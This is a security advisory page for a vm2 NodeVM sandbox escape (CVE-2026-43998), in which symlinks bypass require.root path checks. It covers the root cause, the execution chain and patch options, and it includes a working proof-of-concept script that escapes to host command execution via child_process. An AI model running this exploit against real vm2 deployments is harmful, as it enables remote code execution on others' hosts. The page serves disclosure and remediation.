vm2 CVE-2026-43998
HIGHSeverity by source
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3Blast Radius
ecosystem impact- 11 npm packages depend on vm2 (1 direct, 10 indirect)
Ecosystem-wide dependent count for version 3.10.5.
DescriptionCVE.org
Summary
NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.
Severity
High (CVSS 3.1: 8.5)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network - sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
- Attack Complexity: High - requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments
- Privileges Required: Low - attacker needs only the ability to submit code to the sandbox, which is the intended use case
- User Interaction: None
- Scope: Changed - the vulnerability is in the sandbox boundary; impact is on the host system
- Confidentiality Impact: High - arbitrary file read via host command execution
- Integrity Impact: High - arbitrary command execution on the host
- Availability Impact: High - arbitrary command execution on the host
Affected Component
lib/resolver-compat.js-CustomResolver.isPathAllowed()(line 53-60)lib/resolver-compat.js-CustomResolver.loadJS()(line 62-66)lib/filesystem.js-DefaultFileSystem.resolve()(line 8-10)
CWE
- CWE-59: Improper Link Resolution Before File Access
Description
Root Cause: Check/Use Path Discrepancy
The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:
// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!filename.startsWith(path)) return false;
const len = path.length;
if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(filename[len]);
});
}The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():
// lib/filesystem.js:8-10
resolve(path) {
return pa.resolve(path);
}path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/node_modules/safe pointing to /outside/root/malicious resolves to /root/node_modules/safe - passing the prefix check.
However, the actual module loading uses Node's native require(), which does follow symlinks:
// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename);
mod.exports = vm.readonly(m);
}No Symlink Defenses Exist
A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;Full Execution Chain
- Host creates
NodeVMwithrequire: { external: ['safe'], root: '/tmp/root', context: 'host' } - A symlink exists:
/tmp/root/node_modules/safe→/outside/root/vm2/(e.g., via pnpm, npm link, or workspaces) - Sandbox code calls
require('safe') DefaultResolver.resolveFull()resolves to/tmp/root/node_modules/safe/index.jstryFile()callsthis.fs.resolve(x)→path.resolve()→/tmp/root/node_modules/safe/index.js(symlink NOT followed)isPathAllowed()checks if path starts with/tmp/root/→ PASSESloadJS()detectscontext: 'host', callsthis.hostRequire(filename)- Node's
require()follows the symlink, loads from/outside/root/vm2/index.js - Module executes in host realm; exports proxied to sandbox
- Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with
child_process)
Proof of Concept
const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');
// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });
// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');
const vm = new NodeVM({
require: {
external: ['safe'],
root,
context: 'host',
builtin: [], // no builtins allowed
},
});
// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
const { NodeVM } = require('safe');
const inner = new NodeVM({ require: { builtin: ['child_process'] } });
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'inner.js'
);
`, path.join(root, 'vm.js'));
console.log(out.trim()); // prints host uid/gid - RCE achievedImpact
- Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.
- Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.
- Bypasses
require.rootentirely: The root restriction - the primary defense against module loading attacks - provides no protection when symlinks are present. - Common in production: pnpm (where ALL
node_modulesare symlinks), npm workspaces, andnpm linkall create the symlink conditions required for exploitation. - Silent failure: No error or warning is raised when a symlink traverses outside the root.
Recommended Remediation
Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)
Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:
// lib/filesystem.js - add a realpath method
const fs = require('fs');
class DefaultFileSystem {
resolve(path) {
return pa.resolve(path);
}
realpath(path) {
return fs.realpathSync(path);
}
// ... rest unchanged
}// lib/resolver-compat.js - use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
let realFilename;
try {
realFilename = this.fs.realpath(filename);
} catch (e) {
return false; // file doesn't exist or can't be resolved
}
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!realFilename.startsWith(path)) return false;
const len = path.length;
if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(realFilename[len]);
});
}Also dereference root paths at construction time:
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
const resolved = fsOpt.resolve(f);
try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.
Option 2: Validate the realpath in makeExtensionHandler / checkAccess
Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:
makeExtensionHandler(vm, name) {
return (mod, filename) => {
filename = this.fs.resolve(filename);
// Dereference symlinks before access check
try {
const realFilename = fs.realpathSync(filename);
if (realFilename !== filename) {
// Filename was a symlink - validate the real path too
this.checkAccess(mod, realFilename);
}
} catch (e) {
throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');
}
this.checkAccess(mod, filename);
this[name](vm, mod, filename);
};
}Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
AnalysisAI
Remote code execution in vm2 NodeVM sandbox allows untrusted code to bypass require.root path restrictions and load arbitrary modules from outside the allowed root directory via symlink traversal. The vulnerability exploits a check/use path discrepancy: path validation uses path.resolve() which does not dereference symlinks, but module loading uses Node's native require() which does follow symlinks. Attackers with ability to submit code to the sandbox (the intended use case) can load host-realm modules like vm2 itself or child_process to achieve arbitrary command execution. Confirmed actively exploited (CISA KEV) with publicly available exploit code. Common in production environments using pnpm (where ALL node_modules are symlinks), npm workspaces, or npm link. Vendor-released patch: vm2 3.11.0.
Technical ContextAI
The vm2 library provides JavaScript sandbox environments for executing untrusted code via NodeVM and VM classes. The require.root option restricts which directories sandboxed code can load modules from, intended to prevent access to host-system capabilities. The vulnerability stems from CWE-59 (Improper Link Resolution Before File Access) in the module resolution chain. Specifically, CustomResolver.isPathAllowed() in lib/resolver-compat.js validates paths using path.resolve() from Node.js core, which normalizes paths (resolves . and ..) but does NOT dereference symbolic links. The validation performs a string-prefix check to ensure the resolved path starts with the allowed root. However, the actual module loading delegates to Node's native require() via CustomResolver.loadJS(), and Node's require implementation DOES follow symlinks when loading modules. This creates a time-of-check-time-of-use (TOCTOU) vulnerability where a symlink at /allowed/root/node_modules/safe pointing to /outside/root/malicious passes validation as /allowed/root/node_modules/safe but loads code from /outside/root/malicious. The vulnerability is pervasive because no symlink-aware functions (realpath, readlink, lstat) exist anywhere in the lib/ directory codebase. Modern Node.js package managers exacerbate this: pnpm implements all node_modules as symlinks to a central content-addressable store, npm workspaces creates symlinks between workspace packages, and npm link creates symlinks for local development. The affected package is pkg:npm/vm2, confirmed vulnerable in version 3.10.5 and earlier.
RemediationAI
Upgrade to vm2 version 3.11.0 immediately. The patch implements symlink dereferencing using fs.realpathSync() before path validation, ensuring both the check and the subsequent module load operate on the actual filesystem location rather than the symlink path. The fix adds a realpath() method to the FileSystem adapter contract and dereferences both candidate module paths and configured root paths at validation time. For the vm2 3.11.0 upgrade: run npm update vm2 or pnpm update vm2 and verify the installed version with npm list vm2. Review the release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0 as the coordinated release also closes twelve additional sandbox-escape vulnerabilities and introduces a new bufferAllocLimit configuration option. No workarounds exist that do not require code changes to vm2 itself. Organizations unable to upgrade immediately should consider these compensating controls with their trade-offs: Disable pnpm/workspaces/npm-link and use only traditional node_modules with copied packages (eliminates symlink attack surface but breaks many modern development workflows and increases disk usage). Run vm2 sandboxes inside OS-level containers or VMs with restricted filesystem mounts (adds operational complexity and performance overhead but provides defense-in-depth if sandbox escapes occur). Implement mandatory access control policies (AppArmor/SELinux) that prevent the Node.js process from following symlinks outside the intended directory tree (requires per-deployment tuning and may break legitimate symlink usage). Do NOT rely on disabling specific packages via the external allowlist - attackers can use any host-context module with dangerous capabilities, not just the ones in the proof-of-concept. The only effective mitigation is upgrading to 3.11.0.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-59 – Improper Link Resolution Before File Access
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-cp6g-6699-wx9c